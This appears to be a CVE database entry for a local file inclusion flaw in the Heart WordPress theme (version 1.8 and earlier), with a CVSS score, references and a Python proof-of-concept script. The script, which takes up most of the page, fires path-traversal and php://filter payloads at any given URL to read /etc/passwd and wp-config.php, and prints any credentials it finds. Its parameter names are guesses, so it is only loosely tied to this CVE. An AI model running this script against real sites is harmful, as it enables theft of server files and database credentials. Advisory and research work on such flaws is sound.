CVE-2025-58928

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Heart heart allows PHP Local File Inclusion.This issue affects Heart: from n/a through <= 1.8.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:heart:*:*:*:*:*:wordpress:*:* - VULNERABLE

Heart <= 1.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-58928 PoC - Heart Theme LFI
# Usage: python poc.py <target_url>
import requests
import sys
import urllib.parse

def exploit_lfi(target_url):
    """Exploit Local File Inclusion in Heart theme"""
    
    # Common LFI payloads for WordPress themes
    payloads = [
        "../../../../etc/passwd",
        "../../../../wp-config.php",
        "../../../../../../../etc/passwd",
        "php://filter/read=convert.base64-encode/resource=../../wp-config.php"
    ]
    
    for payload in payloads:
        # Try common parameter names used in themes
        params = {
            "file": payload,
            "template": payload,
            "page": payload,
            "theme": payload
        }
        
        for param_name, param_value in params.items():
            try:
                response = requests.get(
                    target_url,
                    params={param_name: param_value},
                    timeout=10
                )
                
                if response.status_code == 200:
                    # Check for sensitive content
                    if "root:" in response.text or "DB_NAME" in response.text:
                        print(f"[!] Vulnerable! Parameter: {param_name}")
                        print(f"[+] Payload: {param_value}")
                        print(f"[+] Response excerpt: {response.text[:500]}")
                        return True
            except requests.RequestException as e:
                print(f"Error: {e}")
    
    print("[-] No vulnerability detected with basic payloads")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python poc.py <target_url>")
        sys.exit(1)
    
    target = sys.argv[1]
    exploit_lfi(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58928
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58928
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58928/
[4] VulDB https://vuldb.com/cve/CVE-2025-58928
[5] https://patchstack.com/database/Wordpress/Theme/heart/vulnerability/wordpress-heart-theme-1-8-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

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